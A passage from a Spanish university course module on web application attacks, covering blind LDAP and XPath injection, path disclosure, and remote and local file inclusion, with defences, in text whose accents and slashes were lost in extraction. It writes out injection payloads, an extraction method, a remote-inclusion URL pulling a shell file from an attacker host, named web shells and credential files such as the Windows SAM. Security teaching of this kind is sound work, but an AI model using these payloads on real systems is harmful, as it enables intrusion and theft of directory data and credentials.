informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
